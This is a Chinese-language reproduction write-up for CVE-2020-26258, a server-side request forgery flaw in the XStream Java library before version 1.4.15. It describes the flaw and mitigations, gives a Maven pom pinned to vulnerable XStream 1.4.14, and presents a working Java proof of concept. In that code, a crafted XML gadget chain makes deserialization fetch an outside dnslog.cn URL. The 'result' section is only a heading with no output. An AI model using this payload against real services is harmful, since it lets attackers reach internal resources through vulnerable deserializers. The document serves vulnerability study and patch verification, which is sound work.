CVE-2020-26258

描述

XStream 是一个 Java 库，用于将对象序列化为 XML 并再次反序列化。在 1.4.15 版本之前的 XStream 中，反序列化时可能会触发服务端请求伪造（SSRF）漏洞。

该漏洞可能允许远程攻击者仅通过操纵处理的输入流，从内部资源中请求公开不可用的数据。如果你依赖 XStream 安全框架的默认黑名单，则必须至少使用 1.4.15 版本。如果运行 Java 15 或更高版本，则不存在此漏洞。遵循建议设置了 XStream 安全框架（使用白名单）的用户不会受到影响！任何依赖 XStream 默认黑名单的用户都可以立即切换为允许类型的白名单以避免该漏洞。仍然希望使用 XStream 默认黑名单的 XStream 1.4.14 及以下版本的用户，可以采用相关公告中更详细描述的变通方法。

环境

pom.xml

<?xml version="1.0" encoding="UTF-8"?>

<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
  <modelVersion>4.0.0</modelVersion>

  <groupId>CVE-2020-26258</groupId>
  <artifactId>CVE-2020-26258</artifactId>
  <version>1.0-SNAPSHOT</version>

  <name>CVE-2020-26258</name>
  <!-- FIXME change it to the project's website -->
  <url>http://www.example.com</url>

  <properties>
    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    <maven.compiler.source>1.7</maven.compiler.source>
    <maven.compiler.target>1.7</maven.compiler.target>
  </properties>

  <dependencies>
    <dependency>
      <groupId>junit</groupId>
      <artifactId>junit</artifactId>
      <version>4.11</version>
      <scope>test</scope>
    </dependency>
      <!-- https://mvnrepository.com/artifact/com.thoughtworks.xstream/xstream -->
      <dependency>
          <groupId>com.thoughtworks.xstream</groupId>
              <artifactId>xstream</artifactId>
          <version>1.4.14</version>
      </dependency>
  </dependencies>
  <build>
    <pluginManagement><!-- lock down plugins versions to avoid using Maven defaults (may be moved to parent pom) -->
      <plugins>
        <!-- clean lifecycle, see https://maven.apache.org/ref/current/maven-core/lifecycles.html#clean_Lifecycle -->
        <plugin>
          <artifactId>maven-clean-plugin</artifactId>
          <version>3.1.0</version>
        </plugin>
        <!-- default lifecycle, jar packaging: see https://maven.apache.org/ref/current/maven-core/default-bindings.html#Plugin_bindings_for_jar_packaging -->
        <plugin>
          <artifactId>maven-resources-plugin</artifactId>
          <version>3.0.2</version>
        </plugin>
        <plugin>
          <artifactId>maven-compiler-plugin</artifactId>
          <version>3.8.0</version>
        </plugin>
        <plugin>
          <artifactId>maven-surefire-plugin</artifactId>
          <version>2.22.1</version>
        </plugin>
        <plugin>
          <artifactId>maven-jar-plugin</artifactId>
          <version>3.0.2</version>
        </plugin>
        <plugin>
          <artifactId>maven-install-plugin</artifactId>
          <version>2.5.2</version>
        </plugin>
        <plugin>
          <artifactId>maven-deploy-plugin</artifactId>
          <version>2.8.2</version>
        </plugin>
        <!-- site lifecycle, see https://maven.apache.org/ref/current/maven-core/lifecycles.html#site_Lifecycle -->
        <plugin>
          <artifactId>maven-site-plugin</artifactId>
          <version>3.7.1</version>
        </plugin>
        <plugin>
          <artifactId>maven-project-info-reports-plugin</artifactId>
          <version>3.0.0</version>
        </plugin>
      </plugins>
    </pluginManagement>
  </build>
</project>

如何实现 SSRF

CVE_2020_26258.java

import com.thoughtworks.xstream.XStream;

public class CVE_2020_26258 {
    public static void main(String[] args) {
        String ssrf_xml = "<map>\n" +
                "  <entry>\n" +
                "    <jdk.nashorn.internal.objects.NativeString>\n" +
                "      <flags>0</flags>\n" +
                "      <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>\n" +
                "        <dataHandler>\n" +
                "          <dataSource class='javax.activation.URLDataSource'>\n" +
                "            <url>http://02l6ew.dnslog.cn/:</url>\n" +
                "          </dataSource>\n" +
                "          <transferFlavors/>\n" +
                "        </dataHandler>\n" +
                "        <dataLen>0</dataLen>\n" +
                "      </value>\n" +
                "    </jdk.nashorn.internal.objects.NativeString>\n" +
                "    <string>test</string>\n" +
                "  </entry>\n" +
                "</map>";
        
        XStream xstream = new XStream();
        xstream.fromXML(ssrf_xml);
    }
}

结果：

Dnslog：

参考

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-26258